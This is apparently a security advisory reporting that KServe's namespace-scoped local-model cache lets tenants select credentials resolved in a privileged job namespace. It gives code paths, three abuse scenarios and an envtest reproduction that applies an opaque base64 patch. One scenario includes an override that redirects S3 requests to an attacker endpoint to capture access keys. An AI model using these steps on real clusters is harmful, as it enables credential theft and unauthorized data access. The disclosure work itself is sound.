Namespace-scoped local-model cache can select credentials from the privileged job namespace

Affected repository: kserve/kserve
Observed HEAD: 117261274eb0f7cd76e25b05928cc9b8553a531d
Sink: pkg/controller/v1alpha1/localmodelnode/controller.go:262 in injectCredentials
Observed verdict: reproduced dynamically against the latest default branch

Summary

A namespace tenant with permission to create LocalModelNamespaceCache can choose spec.storage.key, spec.storage.parameters, spec.serviceAccountName, and the model URI. KServe copies those values into a cluster-scoped LocalModelNode, then resolves the tenant-selected credential name in the shared, privileged local-model job namespace. The resulting download Job can use storage credentials or ServiceAccount secrets that the tenant cannot read directly.

Detail

LocalModelNamespaceCache exposes sourceModelUri, serviceAccountName, and storage in a namespaced custom resource (pkg/apis/serving/v1alpha1/local_model_namespace_cache_types.go:24-49). Its create/update validator checks only that each named node group exists (pkg/webhook/admission/localmodelnamespacecache/local_model_namespace_cache_validation.go:55-87,141-149); it does not bind credential names to the cache namespace.

ExtractLocalModelParams and CreateLocalModelInfo copy SourceModelUri, ServiceAccountName, and Storage unchanged into a cluster-scoped LocalModelNode.spec.localModels entry while retaining the tenant namespace only as model identity (pkg/controller/v1alpha1/localmodel/reconcilers/utils.go:92-134).

The node agent then builds the download Job and calls injectCredentials (pkg/controller/v1alpha1/localmodelnode/controller.go:262,272) with jobNs — the cluster-wide localModelConfig.JobNamespace, default kserve-localmodel-jobs — as the lookup namespace:

return c.CredentialBuilder.CreateStorageSpecSecretEnvs(
    ctx, jobNs, nil, *modelInfo.Storage.StorageKey, params, container)
...
return c.CredentialBuilder.CreateSecretVolumeAndEnv(
    ctx, jobNs, nil, modelInfo.ServiceAccountName, container, ...)

The tenant therefore selects the credential name while the controller resolves it in a different trust domain. KServe's own local-model documentation places storage-config secrets and credential-bearing ServiceAccounts in kserve-localmodel-jobs, confirming that this namespace is intended to hold the credentials consumed by these Jobs.

Three concrete abuses follow:

1. Read storage the tenant is not entitled to. Set sourceModelUri to a private bucket and storage.key to a platform credential. The job downloads it with the platform's credentials into the shared node cache, and ReconcileForIsvcs then provisions a PV/PVC for that cache entry back in the tenant's namespace, where they mount and read it.
2. Steal the credential itself. spec.storage.parameters is forwarded as STORAGE_OVERRIDE_CONFIG, which the storage initializer merges over the secret (python/storage/kserve_storage/kserve_storage.py:250-268). Setting {"type":"s3","bucket":"x","endpoint_url":"https://attacker.example"} makes the job present the platform's access key and signed requests to an attacker-controlled endpoint.
3. Borrow any ServiceAccount in the job namespace, and therefore every secret attached to it — object store, HuggingFace token, whatever else lives there.

The optional local-model cache feature must be enabled, and the tenant must have been delegated create/update permission for LocalModelNamespaceCache; KServe does not grant that permission through its shipped aggregate tenant role. Credential impact additionally requires a matching storage key or credential-bearing ServiceAccount in the configured job namespace. These conditions scope deployment reachability but do not add a credential-ownership check once the namespaced API is delegated.

Reproduce

This extends KServe's existing namespace-scoped local-model integration test and runs both the namespace-cache controller and node agent against controller-runtime envtest (a real Kubernetes API server and etcd). The test creates the tenant's LocalModelNamespaceCache through the API, lets the first controller create the cluster-scoped LocalModelNode, lets the node agent create the download Job, and reads both objects back from the API. No fake Kubernetes client, direct helper call, or hand-built LocalModelNode is used:

git clone --depth 1 https://github.com/kserve/kserve.git kserve-repro
cd kserve-repro
git rev-parse HEAD
printf '%s' 'H4sIAAAAAAACA61ZWXPbOAx+tn8FVzPtyCNLdpw0h3c60zZps9nm2Imz7UO349AS5bDW4ZJU2qzH/31BUgfl+Eq6fpBsEgABEPgA0gENQ+S6YyoQ7kwn446fJoKlUURY534HR9M7vNOJUh9HcRqQKIGHQTIUhAtvnKLR83mbNAnIT9TbI4cYY88jvfCgR/bRTre7v7fXdF33VzRrOo7zS9q9eYPcw95hu3eIHPneRzByjxkaotfohHCf0RGxrXMp6EIKuoQHqgRZbRRmiW+30KyJGo3G+59T4gt7csiPI0oS4R0zggWxffGzjeSil7zV8gZ3aRYF9iDzfUICu9VSvAEJCUMV6wmJyAJrEzVdoIT1Qzq+wFPUf41e+ikj9zvecTE4UzSNq9E3UOWCCNxHMTyBpBrKaRqXOCZ9pD4glAucCO6dJaAISXwyIOye+qSULKnbBiefYh/YK86PkoOUUzntPH+fYKULnn7hgtFk/FW/Cl2sqPSy1Ue3xXDD+paOSpEwY024XMWtdtcFCm61SwbwJM4i8Wc6Oovx2ODpcJEyGHFpQgXFEf2XsH6EpXetnHt+W8ixcuKzirauF91eeKWbP82uyfdMDgInpEFcnzynMdVTxnhM4pQ9GHy9bveCPiKoeE/pI3vyXZir59o4LcMLQvUyFTep/Qe+J1e+nzGmw9XdEK6VhKarYlvm3ylLMx2xRYJ69bxSBDqPNkUvMqLXGk8zcIVK5cNuu9eDVH6lUvrXcnmdgdIemY3KNq6lgTLSOivhbhThGOsdiOrLrTF/1nSAPg+ij+RBCZuyNHDxD26ZkwPiMyLM5NcjWsIG32mnVTl7opNlkIuGuNDC2shIcZVmx9i/q5Ib4smpslp/jNz+8nX0IMisMqeP9JB9O7PEwxQSx+K7VtvCAIKcDyfkYUgDGJxCyoQpg7SwuFJkWFHAtM/SH4n7jfwAlGhbo8yfEAh5K6QJBsRyp4zeQyBb89tWruBcPdcGfM2tS/HZ2RAPdQlNRzEkhauU41ZufY1qu/A3wVuGogZmZxHSjcg0Z809NbAamVgt46CPVkSqnCyUqGa43OElHFBO0hI0yy+NQZoxnyiKvxntI177XUJbozRhmVEFkWGWDsS6bajTQTd3lEOATghHsh1C5e643E+nJNA8hcTCD40izFc7pLZ/2jXOVhY6lX0DKBa56oxoOu8i4+IvzDhglsTzVrmFBVRyzfGlqKMlyHpSp0LxRp7ZRY4uDUIj+2cDI2VfVvk7ryIEbVdH6tC3NK82FZIFEZtTuZ5zz8rlBRE5ykMEfcYQOABNSEA2BwBDUYoDBL0HEtAjQylRegSKXHYkKuNHWPh3kL7QjJxTLmZzVaiOdrpt2XIe7bV73V+sU3NoD2lM0gwgmyYCWhEclXa/IzcsI3arjawTU2Oupg2tgRXVGq3CcEktDZEWeWeCxPxL96ty4hNK2woQPiUi72+hIHCvXDyQ32Z1fJtvFVBymbhAHalSnceTEW4oV9oCXghAI2jbJBPYqilvSCzrUc4HjbDANCFMsnnvk/uCO4yF9wFKTyJC+5Qmk3H6mVHYCfC6L4Po9QveecGVKUOl3bAMMpiSy9UHSHIvX7r+yW9Q++D1T2LlSb2IbyYootJ+z6CQJhk/K3s9ozwYo59wlJEPLI3z3gIQ4JqEmhhtpoNXyzwRyeXP8Uh63Korb31tedBivv+e4ciuT7XWi6hxGh5o1XBiiTfWLejUF1zJU2+G6owLzjVYrcHN1fXb0/fD46vLD2en1kq+Ne43xG3u4p66gNy3Sn6F/nor5jkonAmwRCNIxkmFmJ3SnQhD+AosMhW7CjWXF1xuwlnwjPsKnkGmPf2qosaW31J0Q7xLwn3PC33/6IDgZ91S1AU/6YKizirrxG63vY8ceB7IIkHjacoEsmELLE7H3AMk9WhqiHZZlshioFdUIGupLbPAp3fZyPPTuJMfV/NXrpuOI3nM2Ei6xowOI0DgU5gGWagBHNIctF6mJIEGRjJAmXUm2YiMMhoFcH7mPg7DNAr62nbeRC3lGDjg7cBB79VRe3fXrJ/vCIQaGUhH2iqsoLwgmQ4Su8lPkRdNGiLCGPrtNUpolNdRSIKMJXJchbrMGxm2Q4musigwnIxJ1W2tvvVYeUMxR7o1hNVBqlQAxOpd4gT6GND8047dqkCHw4+iu9H6e++wPxlDk5dAuctRuzgElmyzbU6ACZ9DSc1n9SJXU0HBqtm89XvdPWoZwz/luUo9NplT3h9xe6XTtrBzyUXXM4676y+30DbXWhtOvnl8LF5nLVxjrbzFenx7tcX90vy2OO0+ZUvrOzrXt4v5oP2y3sJdl4k9y/c83/B1hDKtdKun/BSPmWz59Ijc1moeAqZfxY6eGUCFzY99OaceKTjP03Hhfl+wCNq6sfcZcEZ62bYKdKq0ezuWcKijaQ7NIxg6lfQXOAG3MhsW2cZLjuEjA+5WHgkXPLfWIc5KhzgbHOI8wyF1PY+rE4Z28CofwZyMFQnDB6/aOwfIOTpo7z0dhf1wDLTQ697IiqcTEYbL44E5qQZUgEKF0KHNq44ChnWOlBYBApj3YxU0yhDf4nZlETaW3WyrOwJ5DpaJ+z+vvPaSu1x47VH4sUdWHMHXSlm0bfnfF9AY/gfSQRFSbBoAAA==' | base64 -d | gzip -d | git apply
docker run --rm -v "$PWD:/src" -w /src golang:1.25.8 bash -c '
  make setup-envtest >/dev/null
  version=$(go list -m -f "{{ if .Replace }}{{ .Replace.Version }}{{ else }}{{ .Version }}{{ end }}" k8s.io/api | awk -F"[v.]" "{printf \"1.%d\", \$3}")
  assets=$(./bin/setup-envtest use "$version" --bin-dir /src/bin -p path)
  KUBEBUILDER_ASSETS="$assets" go test \
    ./pkg/controller/v1alpha1/localmodelnode \
    -run TestAPIs \
    -ginkgo.focus "Should create download job in jobNamespace for namespace-scoped LocalModelNamespaceCache" \
    -ginkgo.v -v
'

Observed at 117261274eb0f7cd76e25b05928cc9b8553a531d:

cache=test-model-ns-1786303403501112613/ns-llama node_model_namespace=test-model-ns-1786303403501112613 job_namespace=kserve-localmodel-jobs env=STORAGE_CONFIG secret=storage-config key=prod-aws
Ran 1 of 12 Specs in 9.867 seconds
SUCCESS! -- 1 Passed | 0 Failed | 0 Pending | 11 Skipped
--- PASS: TestAPIs (9.87s)
PASS

Credit

Zheng Yu @ Depthfirst